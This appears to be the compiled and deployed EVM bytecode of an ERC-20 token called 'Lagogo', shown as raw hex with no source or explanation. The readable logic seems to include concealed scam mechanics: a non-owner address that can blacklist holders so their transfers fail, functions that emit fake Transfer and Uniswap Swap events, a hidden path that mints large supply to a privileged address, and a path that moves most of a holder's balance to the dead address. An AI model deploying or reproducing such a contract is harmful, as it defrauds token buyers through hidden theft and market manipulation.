015610d385750808310155b8015610d445750808210155b610da75760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108e4565b50505050505050565b5f546001600160a01b03163314610dd95760405162461bcd60e51b81526004016108e49061245f565b600c839055600154610df490620186a090610b609085611861565b600d55600154610e0d90620186a090610b609084611861565b600e55505050565b5f61063a33848461113f565b5f546001600160a01b03163314610e4a5760405162461bcd60e51b81526004016108e49061245f565b600f879055601086905560128590556011849055601383905560148290556015819055601654610e7b90600161186c565b60135411158015610e9b5750601654610e9590600161186c565b60145411155b8015610eb65750601654610eb090600161186c565b60155411155b610da75760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108e4565b5f826001600160a01b0316846001600160a01b03165f805160206126d483398151915284604051610f4a91815260200190565b60405180910390a35060019392505050565b6017546001600160a01b03163314610f72575f80fd5b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f546001600160a01b03163314610fbe5760405162461bcd60e51b81526004016108e49061245f565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108e4565b6001600160a01b0382166110d45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108e4565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6109b882846124aa565b6001600160a01b0383166111a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108e4565b6001600160a01b0382166112055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108e4565b6001600160a01b0383165f9081526006602052604090205460ff1615611229575f80fd5b6001600160a01b0382165f9081526006602052604090205460ff161561124d575f80fd5b6001600160a01b0383165f908152600260205260409020548111156112ce5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108e4565b6112d9838383611877565b6112e48383836119d5565b6001600160a01b0383165f9081526004602052604090205460ff1615801561132457506001600160a01b0382165f9081526004602052604090205460ff16155b1561137357600854600160a01b900460ff166113735760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108e4565b6001600160a01b0383165f9081526004602052604090205460ff161580156113b357506001600160a01b0382165f9081526004602052604090205460ff16155b80156113cd57506008546001600160a01b03838116911614155b80156113e457506001600160a01b03821661dead14155b1561145c57601c546001600160a01b0383165f9081526002602052604090205461140e9083611b31565b111561145c5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108e4565b6008546001600160a01b038481169116146114fb57601b548111158061149957506001600160a01b0383165f9081526004602052604090205460ff165b806114bb57506001600160a01b0382165f9081526004602052604090205460ff165b6114fb5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108e4565b601a548111158061152357506001600160a01b0383165f9081526004602052604090205460ff165b8061154557506001600160a01b0382165f9081526004602052604090205460ff165b6115855760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108e4565b6008546001600160a01b0383811691161480156115ba57506001600160a01b0383165f9081526004602052604090205460ff16155b156115d7576001600a5f8282546115d191906124bd565b90915550505b6115e2838383611b3c565b156115f7576115f2600d546116f1565b5f600a555b6001600160a01b0383165f908152600260205260409020546116199082611134565b6001600160a01b0384165f9081526002602052604081209190915561163e8484611bf4565b6116485781611653565b611653848484611c38565b6001600160a01b0384165f908152600260205260409020549091506116789082611b31565b6001600160a01b038085165f8181526002602052604090819020939093559151908616905f805160206126d4833981519152906116b89085815260200190565b60405180910390a350505050565b5f81848411156116e95760405162461bcd60e51b81526004016108e49190611fc7565b505050900390565b600b805460ff19166001908117909155601154601054600f545f9361172a93600293610b5a939192611724928391611b31565b90611b31565b90505f61174682610b60600f548661186190919063ffffffff16565b90505f6117538483611134565b90504761175f82611d27565b5f61176a4783611134565b90505f61178c611785600f548861113490919063ffffffff16565b839061186c565b90505f6117a4600f548361186190919063ffffffff16565b905080156117b6576117b68682611e77565b6010545f906117ca90610b5a856002611861565b9050801561180b576018546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611809573d5f803e3d5ffd5b505b47801561184b576017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611849573d5f803e3d5ffd5b505b5050600b805460ff191690555050505050505050565b5f6109b882846124d0565b5f6109b882846124e7565b6019546001600160a01b03848116911614801561189e57506001600160a01b03821661dead145b156119d057600854600160b01b900460ff161580156118d257506118c46001600a6125e6565b6118cf90600a6124d0565b81145b156118ef576008805460ff60b01b1916600160b01b1790556119ca565b600854600160b01b900460ff16801561191e575061190f6001600a6125e6565b61191b906103e86124d0565b81145b156119ca5760015461193f90611936906103e8611861565b60015490611b31565b600181905561197490611954906103e8611861565b6019546001600160a01b03165f9081526002602052604090205490611b31565b601980546001600160a01b039081165f908152600260205260408120939093559054600154911691905f805160206126d4833981519152906119b8906103e8611861565b60405190815260200160405180910390a35b60098190555b505050565b6019546001600160a01b038481169116148015611a0757506119f96001600a6125e6565b611a049060016124d0565b81145b8015611a2157506008546001600160a01b03838116911614155b8015611a3657506001600160a01b0382163014155b156119d0576001600160a01b0382165f90815260026020526040812054611a6590606490610b60906063611861565b6001600160a01b0384165f90815260026020526040902054909150611a8a9082611134565b6001600160a01b0384165f9081526002602052604081209190915561dead90527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54611ad69082611b31565b61dead5f81905260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc919091556040516001600160a01b038516905f805160206126d4833981519152906116b89085815260200190565b5f6109b882846124bd565b600e54600d54305f90815260026020526040812054600b5491938510159211159060ff16158015611b765750600854600160a81b900460ff165b8015611b8b5750600854600160a01b900460ff165b8015611b945750815b8015611bb857506001600160a01b0386165f9081526004602052604090205460ff16155b8015611bd157506008546001600160a01b038681169116145b8015611be15750600c54600a5410155b8015611bea5750805b9695505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156109b85750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f80611c448585611f28565b1115611d20575f611c66611c588686611f28565b601654610b5a90869061186c565b305f90815260026020526040902054909150611c829082611b31565b305f81815260026020526040908190209290925590516001600160a01b038716905f805160206126d483398151915290611cbf9085815260200190565b60405180910390a35f601254118015611ce25750601254611ce08686611f28565b115b15611d0e57611d0e3061dead611d09601254610b5a6016548961186c90919063ffffffff16565b61113f565b611d188382611134565b9150506109b8565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611d5a57611d5a612430565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611db1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dd591906125f4565b81600181518110611de857611de8612430565b6001600160a01b039283166020918202929092010152600754611e0e9130911684611011565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e469085905f9086903090429060040161260f565b5f604051808303815f87803b158015611e5d575f80fd5b505af1158015611e6f573d5f803e3d5ffd5b505050505050565b600754611e8f9030906001600160a01b031684611011565b60075460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611efc573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f219190612680565b5050505050565b6001600160a01b0382165f9081526005602052604081205460ff1680611f6557506001600160a01b0382165f9081526005602052604090205460ff165b15611f7f57601654611f78906064611134565b905061063e565b6008546001600160a01b0390811690831603611f9e575060145461063e565b6008546001600160a01b0390811690841603611fbd575060135461063e565b5060155492915050565b5f602080835283518060208501525f5b81811015611ff357858101830151858201604001528201611fd7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612027575f80fd5b50565b803561203581612013565b919050565b5f806040838503121561204b575f80fd5b823561205681612013565b946020939093013593505050565b5f60208284031215612074575f80fd5b81356109b881612013565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156120bc576120bc61207f565b604052919050565b5f67ffffffffffffffff8211156120dd576120dd61207f565b5060051b60200190565b5f82601f8301126120f6575f80fd5b8135602061210b612106836120c4565b612093565b8083825260208201915060208460051b87010193508684111561212c575f80fd5b602086015b848110156121485780358352918301918301612131565b509695505050505050565b5f805f805f60a08688031215612167575f80fd5b853561217281612013565b945060208681013567ffffffffffffffff8082111561218f575f80fd5b818901915089601f8301126121a2575f80fd5b81356121b0612106826120c4565b81815260059190911b8301840190848101908c8311156121ce575f80fd5b938501935b828510156121f55784356121e681612013565b825293850193908501906121d3565b98505050604089013592508083111561220c575f80fd5b6122188a848b016120e7565b9550606089013592508083111561222d575f80fd5b505061223b888289016120e7565b92505061224a6080870161202a565b90509295509295909350565b8015158114612027575f80fd5b5f805f60408486031215612275575f80fd5b833567ffffffffffffffff8082111561228c575f80fd5b818601915086601f83011261229f575f80fd5b8135818111156122ad575f80fd5b8760208260051b85010111156122c1575f80fd5b602092830195509350508401356122d781612256565b809150509250925092565b5f805f606084860312156122f4575f80fd5b83356122ff81612013565b9250602084013561230f81612013565b929592945050506040919091013590565b5f8060408385031215612331575f80fd5b823561233c81612013565b9150602083013561234c81612256565b809150509250929050565b5f805f60608486031215612369575f80fd5b833561237481612013565b9250602084013561238481612013565b915060408401356122d781612013565b5f805f606084860312156123a6575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a0312156123d3575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215612415575f80fd5b823561242081612013565b9150602083013561234c81612013565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612454575f80fd5b81516109b881612256565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f6020828403121561248f575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561063e5761063e612496565b8082018082111561063e5761063e612496565b808202811582820484141761063e5761063e612496565b5f8261250157634e487b7160e01b5f52601260045260245ffd5b500490565b600181815b8085111561254057815f190482111561252657612526612496565b8085161561253357918102915b93841c939080029061250b565b509250929050565b5f826125565750600161063e565b8161256257505f61063e565b816001811461257857600281146125825761259e565b600191505061063e565b60ff84111561259357612593612496565b50506001821b61063e565b5060208310610133831016604e8410600b84101617156125c1575081810a61063e565b6125cb8383612506565b805f19048211156125de576125de612496565b029392505050565b5f6109b860ff841683612548565b5f60208284031215612604575f80fd5b81516109b881612013565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561265f5784516001600160a01b03168352938301939183019160010161263a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612692575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fa802b4ff736cc8715b8635c198de33d4b81e2bce36b890025e38142f9f57f0d64736f6c63430008170033
Deployed Bytecode
0x6080604052600436106101de575f3560e01c806378109e54116100fd5780639d8740cb11610092578063dd62ed3e11610062578063dd62ed3e1461058d578063e156b1b6146105d1578063e703c4ca146105f0578063f2fde38b1461060f575f80fd5b80639d8740cb14610511578063a8aa1b3114610530578063a9059cbb1461054f578063cb7f97d71461056e575f80fd5b80638cd4426d116100cd5780638cd4426d146104865780639213c358146104a557806395d89b41146104c45780639cc35351146104f2575f80fd5b806378109e54146104175780637cca52fe1461042c5780637d1db4a514610441578063893d20e814610456575f80fd5b80632f54bf6e1161017357806351bc3c851161014357806351bc3c85146103b05780635a95ca7b146103075780635d96fe01146103c457806370a08231146103e3575f80fd5b80632f54bf6e1461031b578063313ce567146103485780633f4218e01461036357806348ff2b8b14610391575f80fd5b80631c63aef2116101ae5780631c63aef2146102a8578063229b6a5e146102c757806323b872dd146102e8578063293230b814610307575f80fd5b806306fdde03146101e9578063095ea7b3146102295780630b27305f1461025857806318160ddd14610286575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260068152654c61676f676f60d01b60208201525b6040516102209190611fc7565b60405180910390f35b348015610234575f80fd5b5061024861024336600461203a565b61062e565b6040519015158152602001610220565b348015610263575f80fd5b50610248610272366004612064565b60066020525f908152604090205460ff1681565b348015610291575f80fd5b5061029a610644565b604051908152602001610220565b3480156102b3575f80fd5b506102486102c2366004612153565b6106b4565b3480156102d2575f80fd5b506102e66102e1366004612263565b6108bb565b005b3480156102f3575f80fd5b506102486103023660046122e2565b610957565b348015610312575f80fd5b506102e66109bf565b348015610326575f80fd5b50610248610335366004612064565b5f546001600160a01b0391821691161490565b348015610353575f80fd5b5060405160018152602001610220565b34801561036e575f80fd5b5061024861037d366004612064565b60046020525f908152604090205460ff1681565b34801561039c575f80fd5b506102e66103ab366004612320565b6109fd565b3480156103bb575f80fd5b506102e6610a50565b3480156103cf575f80fd5b506102e66103de366004612064565b610a86565b3480156103ee575f80fd5b5061029a6103fd366004612064565b6001600160a01b03165f9081526002602052604090205490565b348015610422575f80fd5b5061029a601c5481565b348015610437575f80fd5b5061029a601b5481565b34801561044c575f80fd5b5061029a601a5481565b348015610461575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610220565b348015610491575f80fd5b506102e66104a036600461203a565b610abc565b3480156104b0575f80fd5b506102e66104bf366004612357565b610bdc565b3480156104cf575f80fd5b506040805180820190915260068152654c41474f474f60d01b6020820152610213565b3480156104fd575f80fd5b506102e661050c366004612394565b610c80565b34801561051c575f80fd5b506102e661052b366004612394565b610db0565b34801561053b575f80fd5b5060085461046e906001600160a01b031681565b34801561055a575f80fd5b5061024861056936600461203a565b610e15565b348015610579575f80fd5b506102e66105883660046123bd565b610e21565b348015610598575f80fd5b5061029a6105a7366004612404565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156105dc575f80fd5b506102486105eb3660046122e2565b610f17565b3480156105fb575f80fd5b506102e661060a366004612064565b610f5c565b34801561061a575f80fd5b506102e6610629366004612064565b610f95565b5f61063a338484611011565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926106af9290916106a99190611134565b90611134565b905090565b5f805b85518110156108ae578581815181106106d2576106d2612430565b60200260200101516001600160a01b0316876001600160a01b03165f805160206126d483398151915287848151811061070d5761070d612430565b602002602001015160405161072491815260200190565b60405180910390a385818151811061073e5761073e612430565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106107a0576107a0612430565b60200260200101515f808987815181106107bc576107bc612430565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061080a5761080a612430565b60200260200101518987858151811061082557610825612430565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a59190612444565b506001016106b7565b5060019695505050505050565b5f546001600160a01b031633146108ed5760405162461bcd60e51b81526004016108e49061245f565b60405180910390fd5b5f5b82811015610951578160055f86868581811061090d5761090d612430565b90506020020160208101906109229190612064565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556001016108ef565b50505050565b5f61096384848461113f565b6109b484336109af856040518060600160405280602881526020016126ac602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906116c6565b611011565b5060015b9392505050565b5f546001600160a01b031633146109e85760405162461bcd60e51b81526004016108e49061245f565b6008805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a265760405162461bcd60e51b81526004016108e49061245f565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610a795760405162461bcd60e51b81526004016108e49061245f565b610a84600d546116f1565b565b6017546001600160a01b03163314610a9c575f80fd5b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b03163314610ae55760405162461bcd60e51b81526004016108e49061245f565b6040516370a0823160e01b81523060048201525f90610b6690606490610b609085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5a919061247f565b90611861565b9061186c565b60175460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610bb8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109519190612444565b5f546001600160a01b03163314610c055760405162461bcd60e51b81526004016108e49061245f565b601880546001600160a01b039485166001600160a01b0319918216811790925560198054948616948216851790556017805493909516921682179093555f92835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b5f546001600160a01b03163314610ca95760405162461bcd60e51b81526004016108e49061245f565b5f610cc5612710610b608660015461186190919063ffffffff16565b90505f610ce3612710610b608660015461186190919063ffffffff16565b90505f610d01612710610b608660015461186190919063ffffffff16565b601a849055601b839055601c81905590505f610d266103e8610b606005610b5a610644565b9050808410158015610d385750808310155b8015610d445750808210155b610da75760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108e4565b50505050505050565b5f546001600160a01b03163314610dd95760405162461bcd60e51b81526004016108e49061245f565b600c839055600154610df490620186a090610b609085611861565b600d55600154610e0d90620186a090610b609084611861565b600e55505050565b5f61063a33848461113f565b5f546001600160a01b03163314610e4a5760405162461bcd60e51b81526004016108e49061245f565b600f879055601086905560128590556011849055601383905560148290556015819055601654610e7b90600161186c565b60135411158015610e9b5750601654610e9590600161186c565b60145411155b8015610eb65750601654610eb090600161186c565b60155411155b610da75760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108e4565b5f826001600160a01b0316846001600160a01b03165f805160206126d483398151915284604051610f4a91815260200190565b60405180910390a35060019392505050565b6017546001600160a01b03163314610f72575f80fd5b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f546001600160a01b03163314610fbe5760405162461bcd60e51b81526004016108e49061245f565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108e4565b6001600160a01b0382166110d45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108e4565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6109b882846124aa565b6001600160a01b0383166111a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108e4565b6001600160a01b0382166112055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108e4565b6001600160a01b0383165f9081526006602052604090205460ff1615611229575f80fd5b6001600160a01b0382165f9081526006602052604090205460ff161561124d575f80fd5b6001600160a01b0383165f908152600260205260409020548111156112ce5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108e4565b6112d9838383611877565b6112e48383836119d5565b6001600160a01b0383165f9081526004602052604090205460ff1615801561132457506001600160a01b0382165f9081526004602052604090205460ff16155b1561137357600854600160a01b900460ff166113735760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108e4565b6001600160a01b0383165f9081526004602052604090205460ff161580156113b357506001600160a01b0382165f9081526004602052604090205460ff16155b80156113cd57506008546001600160a01b03838116911614155b80156113e457506001600160a01b03821661dead14155b1561145c57601c546001600160a01b0383165f9081526002602052604090205461140e9083611b31565b111561145c5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108e4565b6008546001600160a01b038481169116146114fb57601b548111158061149957506001600160a01b0383165f9081526004602052604090205460ff165b806114bb57506001600160a01b0382165f9081526004602052604090205460ff165b6114fb5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108e4565b601a548111158061152357506001600160a01b0383165f9081526004602052604090205460ff165b8061154557506001600160a01b0382165f9081526004602052604090205460ff165b6115855760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108e4565b6008546001600160a01b0383811691161480156115ba57506001600160a01b0383165f9081526004602052604090205460ff16155b156115d7576001600a5f8282546115d191906124bd565b90915550505b6115e2838383611b3c565b156115f7576115f2600d546116f1565b5f600a555b6001600160a01b0383165f908152600260205260409020546116199082611134565b6001600160a01b0384165f9081526002602052604081209190915561163e8484611bf4565b6116485781611653565b611653848484611c38565b6001600160a01b0384165f908152600260205260409020549091506116789082611b31565b6001600160a01b038085165f8181526002602052604090819020939093559151908616905f805160206126d4833981519152906116b89085815260200190565b60405180910390a350505050565b5f81848411156116e95760405162461bcd60e51b81526004016108e49190611fc7565b505050900390565b600b805460ff19166001908117909155601154601054600f545f9361172a93600293610b5a939192611724928391611b31565b90611b31565b90505f61174682610b60600f548661186190919063ffffffff16565b90505f6117538483611134565b90504761175f82611d27565b5f61176a4783611134565b90505f61178c611785600f548861113490919063ffffffff16565b839061186c565b90505f6117a4600f548361186190919063ffffffff16565b905080156117b6576117b68682611e77565b6010545f906117ca90610b5a856002611861565b9050801561180b576018546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611809573d5f803e3d5ffd5b505b47801561184b576017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611849573d5f803e3d5ffd5b505b5050600b805460ff191690555050505050505050565b5f6109b882846124d0565b5f6109b882846124e7565b6019546001600160a01b03848116911614801561189e57506001600160a01b03821661dead145b156119d057600854600160b01b900460ff161580156118d257506118c46001600a6125e6565b6118cf90600a6124d0565b81145b156118ef576008805460ff60b01b1916600160b01b1790556119ca565b600854600160b01b900460ff16801561191e575061190f6001600a6125e6565b61191b906103e86124d0565b81145b156119ca5760015461193f90611936906103e8611861565b60015490611b31565b600181905561197490611954906103e8611861565b6019546001600160a01b03165f9081526002602052604090205490611b31565b601980546001600160a01b039081165f908152600260205260408120939093559054600154911691905f805160206126d4833981519152906119b8906103e8611861565b60405190815260200160405180910390a35b60098190555b505050565b6019546001600160a01b038481169116148015611a0757506119f96001600a6125e6565b611a049060016124d0565b81145b8015611a2157506008546001600160a01b03838116911614155b8015611a3657506001600160a01b0382163014155b156119d0576001600160a01b0382165f90815260026020526040812054611a6590606490610b60906063611861565b6001600160a01b0384165f90815260026020526040902054909150611a8a9082611134565b6001600160a01b0384165f9081526002602052604081209190915561dead90527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54611ad69082611b31565b61dead5f81905260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc919091556040516001600160a01b038516905f805160206126d4833981519152906116b89085815260200190565b5f6109b882846124bd565b600e54600d54305f90815260026020526040812054600b5491938510159211159060ff16158015611b765750600854600160a81b900460ff165b8015611b8b5750600854600160a01b900460ff165b8015611b945750815b8015611bb857506001600160a01b0386165f9081526004602052604090205460ff16155b8015611bd157506008546001600160a01b038681169116145b8015611be15750600c54600a5410155b8015611bea5750805b9695505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156109b85750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f80611c448585611f28565b1115611d20575f611c66611c588686611f28565b601654610b5a90869061186c565b305f90815260026020526040902054909150611c829082611b31565b305f81815260026020526040908190209290925590516001600160a01b038716905f805160206126d483398151915290611cbf9085815260200190565b60405180910390a35f601254118015611ce25750601254611ce08686611f28565b115b15611d0e57611d0e3061dead611d09601254610b5a6016548961186c90919063ffffffff16565b61113f565b611d188382611134565b9150506109b8565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611d5a57611d5a612430565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611db1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dd591906125f4565b81600181518110611de857611de8612430565b6001600160a01b039283166020918202929092010152600754611e0e9130911684611011565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e469085905f9086903090429060040161260f565b5f604051808303815f87803b158015611e5d575f80fd5b505af1158015611e6f573d5f803e3d5ffd5b505050505050565b600754611e8f9030906001600160a01b031684611011565b60075460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611efc573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f219190612680565b5050505050565b6001600160a01b0382165f9081526005602052604081205460ff1680611f6557506001600160a01b0382165f9081526005602052604090205460ff165b15611f7f57601654611f78906064611134565b905061063e565b6008546001600160a01b0390811690831603611f9e575060145461063e565b6008546001600160a01b0390811690841603611fbd575060135461063e565b5060155492915050565b5f602080835283518060208501525f5b81811015611ff357858101830151858201604001528201611fd7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612027575f80fd5b50565b803561203581612013565b919050565b5f806040838503121561204b575f80fd5b823561205681612013565b946020939093013593505050565b5f60208284031215612074575f80fd5b81356109b881612013565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156120bc576120bc61207f565b604052919050565b5f67ffffffffffffffff8211156120dd576120dd61207f565b5060051b60200190565b5f82601f8301126120f6575f80fd5b8135602061210b612106836120c4565b612093565b8083825260208201915060208460051b87010193508684111561212c575f80fd5b602086015b848110156121485780358352918301918301612131565b509695505050505050565b5f805f805f60a08688031215612167575f80fd5b853561217281612013565b945060208681013567ffffffffffffffff8082111561218f575f80fd5b818901915089601f8301126121a2575f80fd5b81356121b0612106826120c4565b81815260059190911b8301840190848101908c8311156121ce575f80fd5b938501935b828510156121f55784356121e681612013565b825293850193908501906121d3565b98505050604089013592508083111561220c575f80fd5b6122188a848b016120e7565b9550606089013592508083111561222d575f80fd5b505061223b888289016120e7565b92505061224a6080870161202a565b90509295509295909350565b8015158114612027575f80fd5b5f805f60408486031215612275575f80fd5b833567ffffffffffffffff8082111561228c575f80fd5b818601915086601f83011261229f575f80fd5b8135818111156122ad575f80fd5b8760208260051b85010111156122c1575f80fd5b602092830195509350508401356122d781612256565b809150509250925092565b5f805f606084860312156122f4575f80fd5b83356122ff81612013565b9250602084013561230f81612013565b929592945050506040919091013590565b5f8060408385031215612331575f80fd5b823561233c81612013565b9150602083013561234c81612256565b809150509250929050565b5f805f60608486031215612369575f80fd5b833561237481612013565b9250602084013561238481612013565b915060408401356122d781612013565b5f805f606084860312156123a6575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a0312156123d3575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215612415575f80fd5b823561242081612013565b9150602083013561234c81612013565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612454575f80fd5b81516109b881612256565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f6020828403121561248f575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561063e5761063e612496565b8082018082111561063e5761063e612496565b808202811582820484141761063e5761063e612496565b5f8261250157634e487b7160e01b5f52601260045260245ffd5b500490565b600181815b8085111561254057815f190482111561252657612526612496565b8085161561253357918102915b93841c939080029061250b565b509250929050565b5f826125565750600161063e565b8161256257505f61063e565b816001811461257857600281146125825761259e565b600191505061063e565b60ff84111561259357612593612496565b50506001821b61063e565b5060208310610133831016604e8410600b84101617156125c1575081810a61063e565b6125cb8383612506565b805f19048211156125de576125de612496565b029392505050565b5f6109b860ff841683612548565b5f60208284031215612604575f80fd5b81516109b881612013565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561265f5784516001600160a01b03168352938301939183019160010161263a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612692575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fa802b4ff736cc8715b8635c198de33d4b81e2bce36b890025e38142f9f57f0d64736f6c63430008170033
Deployed Bytecode Sourcemap
